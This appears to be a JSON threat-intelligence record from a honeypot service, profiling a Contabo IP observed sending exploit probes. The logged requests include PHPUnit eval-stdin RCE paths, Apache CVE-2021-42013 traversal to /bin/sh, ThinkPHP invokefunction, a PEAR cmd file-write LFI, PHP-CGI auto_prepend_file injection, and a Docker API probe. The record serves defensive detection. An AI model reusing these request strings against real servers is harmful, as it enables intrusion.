{"ip":"185.194.218.241","total_events":50,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"45 exploit-path hits","confidence":"high","network_type":"CDN","why":["45 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 611,494 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"611,494 bytes sent","bytes_sent":611494,"session_seconds":15,"persistent":false}},"first_seen":"2026-09-28T19:10:10","last_seen":"2026-09-29T11:10:58","events_24h":1,"events_7d":50,"geo":{"country_code":"FR","country_name":"France","region":"Grand Est","city":"Lauterbourg","lat":48.9742,"lon":8.1851,"asn":51167,"org":"Contabo GmbH"},"source_domain":"vmi3336250.contaboserver.net","known_scanners":[],"scanner_tag":{"key":"contabo","label":"Contabo","category":"hosting_provider","url":"https://contabo.com/"},"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"}],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":49},{"port":2222,"proto":"tcp","label":"SSH-alt","count":1}],"fingerprints":{"ssh_hassh":["19532158b559096b89b1a5f7d17175b2"],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_client_hello":"16030105b9010005b503032555399a1d1164a72c2b4bff3edb86e59364f2595670d3f13b670e76ea240e032029ee5a04213d36403d0b7a8050108c1a496fe42e96a4cc0f0c953b79bcedbacc00249a9a130113021303c02bc02fc02cc030cca9cca8c009c013c00ac014009c009d002f0035010005487a7a000000170000ff01000100000a000c000ababa11ec001d00170018000b0002010000230000000d00140012040308040401050308050501080606010201003304ef04edbaba00010011ec04c0b2fa01308cbad47531fce277cb0681ef0656234c8b3f1337341c6ea5cccb1147745cd156b028193e36c6438c930b0a9cf9ba38c44c38fd6a0442a708e71190d13ba186d8b772b87d9839271033038b997371439521964cdf47cdb0113afe6c076905375e2a935cdc2b3d539c361973b2b2990c0b49391136c541ca8974976fa730dada492be9cd89588f0d54c48139764c1a88058cb9fcc933f9984bdab114c8387f0be05403d582b0777b0e598693373cf88b1aaf7b8a9e7301f9556d9e5b77c855206c0874965c678ec639fd7568e1132b4ceb259c088a6fd24bfd79502af02d3acccd3638c3c3b26b9d13996132aff4fc3aebaaa6dd53b9fcf72d8cc457252c8ddc53bf4dc71e8ba1252b4b9daf36ada2c85881a64a7a90410be761972728c2ec3c9d97118af51e90f7b6f8d89a1b966a342320f6a7b8ab6b039f261737ca008749121a8ca969a0bcde2c78a6681d85fb95e0f341a87506671a23c7cb6b8eec09f0ea289ce2470cf7428a230673776bbfe82d57ea5f8d09112aa8999e91424bd2cdb34b2eb29a1ad7f33f9519103753376691214ec752321b5a3182c8f6b2804b1078a6c303582235615cb00b9abe660aac960029345b1dc8e58ec0e87354fc969748329bd740de659b2f24351fa0b4f3527302c17ed66b5e03d8bedd82b9cf9073850a4b06b78151aacbb03b1545c6b164a4baf5b2807909086ecb428c0bc2bab2c1e243c871f8ca8b315dbb9c67c707052445a00276790748833f6c28d3c981e8719f421acb6444a577fb84745bc324768e3f323ccdf922605c1314986594124d0789ca8ef8471388af17405c3da63cd0a4452eeb3a8f00ba45cc2b5e2015b7c6394ba5ac7c17a73d123e2ed673f5c6a4b9d57a2e31829657480026515f70431cfb0d054c726e5027468ab0a1e9950084699b807415eace4474a287e258cc6c39a5150ac9b643175a1f6a4695ad6204a837a416cb29edd6294a83b344eac47bc8c2de1a1dcaa9c8e3da0e35686350d19d295490cff0a72138823d540e7c3b9daa038487779152e57c0bbc2fef3ca146d908619482da2b09063071e03650ca220760c997fb1998f96a9c20f1741943baaa869cffda29c655b025fa0d46d68a71b5a515aca3e90396125ac79d51986bd1cb49eb4a158a122a1c9241964d1160c6e3c2a6c435bc1d7a8b65986aba6b8e5eb18b3a7a498723709b57485d1228f2da83e0a67b7fbb8d86108312d2ad51a24422b7928a0769bfe27b8fb2b9acf4063ed593fc33049131cc802133072112f909728754a78253ac00a04e34d0146a1688e2547849d32c8ccca5ef7932bcc66b98da541850160eb2cb274744d057a036e4a0f32393f297753f9c35e31c8caad16cef588518c181b7901221d054c080cc5f553e5e582815248e7b876ff20b11d151b340d058f5918dac9c77802a5e00f850e17a2cebb85d1360a87ad7bc91d2b1cb7b9804b59b785c88d17a6886fc52a3db7cb26c149b9b9d0c365afc7433fe756ad2abc7a10c9e52851defec2798c55acaf833a69a947e5337f63b3f2aa05d91dc5e807a88a857293067044eeb90e0860bf8f1303ed27e29191a51e8ad9d03aa5d5b9964dc481f080ae9bb2c5ac8c4ef3c654e5bc8c1d20e57ab748148398651ad7a6b3da8a31b195b205f45b36ac1456f1b43810e1dd1da1c890895fde768ce1194613973ddb0db88c7561f516c2a001d0020e2958d763f237a9f187db94493d5ce4c23fa7b08bada7610df4b3ef7bb10be76002d00020101002b000706eaea03040303dada0001","tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"],"http_akin":["a11cun050_0000006b_dd905059","a11cuq070_0000066b_c0b30902"]},"fingerprint_peers":{"t13i170900_5b57614c22b0_78e6aca7449b":141,"a11cun050_0000006b_dd905059":21,"a11cuq070_0000066b_c0b30902":15,"19532158b559096b89b1a5f7d17175b2":175},"akin_families":{"a11cun050_0000006b_dd905059":{"head":"a11cun050_0000006b_bd5c72d1","shapes":2,"ips":73}},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-09-28","count":49},{"date":"2026-09-29","count":1}],"recent_events":[{"timestamp":"2026-09-29T11:10:58","port":2222,"proto":"tcp","app_proto":"","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"SSH-2.0-libssh2_1.11.1\r\n\u0000\u0000\u0005�\u000b\u0014j?q֦�.I�����q�&\u0000\u0000\u0001hcurve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com\u0000\u0000\u0001fecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-256,rsa-sha2-512-cert-v01@openssh.com,rsa-sha2-256-cert-v01@openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com\u0000\u0000\u0000�chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc\u0000\u0000\u0000�chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc\u0000\u0000\u0000�hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96\u0000\u0000\u0000�hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000�@�`a�d9��\u0001","payload_hex":"5353482d322e302d6c6962737368325f312e31312e310d0a000005e40b146a3f71d6a6c72e4985f596fd8971ec2600000168637572766532353531392d7368613235362c637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703532312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d7368613235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2d67726f757031342d7368613235362c6469666669652d68656c6c6d616e2d67726f757031342d736861312c6469666669652d68656c6c6d616e2d67726f7570312d736861312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d736861312c6578742d696e666f2d632c6b65782d7374726963742d632d763030406f70656e7373682e636f6d0000016665636473612d736861322d6e697374703235362c65636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d636572742d763031406f70656e7373682e636f6d2c7373682d656432353531392c7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322c7273612d736861322d3235362c7273612d736861322d3531322d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e7373682e636f6d2c7373682d7273612c7373682d7273612d636572742d763031406f70656e7373682e636f6d000000c563686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d2c6165733132382d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d6374722c6165733235362d6362632c72696a6e6461656c2d636263406c797361746f722e6c69752e73652c6165733139322d6362632c6165733132382d6362632c617263666f75723132382c617263666f75722c336465732d636263000000c563686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d2c6165733132382d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d6374722c6165733235362d6362632c72696a6e6461656c2d636263406c797361746f722e6c69752e73652c6165733139322d6362632c6165733132382d6362632c617263666f75723132382c617263666f75722c336465732d6362630000009d686d61632d736861322d3235362c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861312d39362c686d61632d6d64352c686d61632d6d64352d39360000009d686d61632d736861322d3235362c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861312d39362c686d61632d6d64352c686d61632d6d64352d3936000000046e6f6e65000000046e6f6e6500000000000000000000000000fa40d36061c4643988fc01","method":"","user_agent":"","ja3":"","session":"fa8929b6-686d-47ef-9434-db81d2aed48e","seq":1,"duration_ms":122,"bytes_in":1536,"bytes_out":15,"enriched":{"digest":"4ce6f0cf37d9f271","label":"SSH","strings":["SSH-2.0-libssh2_1.11.1","hcurve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nis…","fecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ecdsa-sha2-nistp256…","chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes2…","hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@open…","none"],"iocs":{"domains":["libssh.org","openssh.com"]}}},{"timestamp":"2026-09-28T19:10:25","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a486f73743a203a3434330d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"4dd503bc-da24-4bca-9b13-d00542b815d6","seq":49,"duration_ms":14603,"bytes_in":19190,"bytes_out":3920},{"timestamp":"2026-09-28T19:10:25","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../tmp/index1","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f696e6465783120485454502f312e310d0a486f73743a203a3434330d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"4dd503bc-da24-4bca-9b13-d00542b815d6","seq":48,"duration_ms":14262,"bytes_in":19036,"bytes_out":3840},{"timestamp":"2026-09-28T19:10:24","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f7075626c69632f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a203a3434330d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"4dd503bc-da24-4bca-9b13-d00542b815d6","seq":46,"duration_ms":13607,"bytes_in":18590,"bytes_out":3680},{"timestamp":"2026-09-28T19:10:24","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a203a3434330d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"4dd503bc-da24-4bca-9b13-d00542b815d6","seq":45,"duration_ms":13308,"bytes_in":18342,"bytes_out":3600},{"timestamp":"2026-09-28T19:10:24","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/+/tmp/index1.php","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f7068702f70656172636d64262b636f6e6669672d6372656174652b2f262f3c3f6563686f286d6435282268692229293b3f3e2b2f746d702f696e646578312e70687020485454502f312e310d0a486f73743a203a3434330d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"4dd503bc-da24-4bca-9b13-d00542b815d6","seq":47,"duration_ms":13981,"bytes_in":18848,"bytes_out":3760},{"timestamp":"2026-09-28T19:10:23","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"3a3434330d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"4dd503bc-da24-4bca-9b13-d00542b815d6","seq":42,"duration_ms":12449,"bytes_in":17556,"bytes_out":3360},{"timestamp":"2026-09-28T19:10:23","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"3a3434330d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"4dd503bc-da24-4bca-9b13-d00542b815d6","seq":44,"duration_ms":13054,"bytes_in":18101,"bytes_out":3520},{"timestamp":"2026-09-28T19:10:23","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"3a3434330d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"4dd503bc-da24-4bca-9b13-d00542b815d6","seq":43,"duration_ms":12760,"bytes_in":17829,"bytes_out":3440},{"timestamp":"2026-09-28T19:10:22","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"3a3434330d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"4dd503bc-da24-4bca-9b13-d00542b815d6","seq":39,"duration_ms":11558,"bytes_in":16722,"bytes_out":3120}],"http_methods":[{"method":"GET","count":42},{"method":"POST","count":7}],"distinct_ports_total":2,"top_paths":[{"path":"/containers/json","count":1,"ports":1},{"path":"/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/lib/phpunit/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":1,"ports":1},{"path":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":1,"ports":1},{"path":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","count":1,"ports":1},{"path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1}],"distinct_paths_total":49,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-libssh2_1.11.1","count":1}],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"33","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":":443","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":2,"events_with_headers":9},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"]},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"]}],"data_as_of":"2026-09-30T02:56:54.911571+00:00"}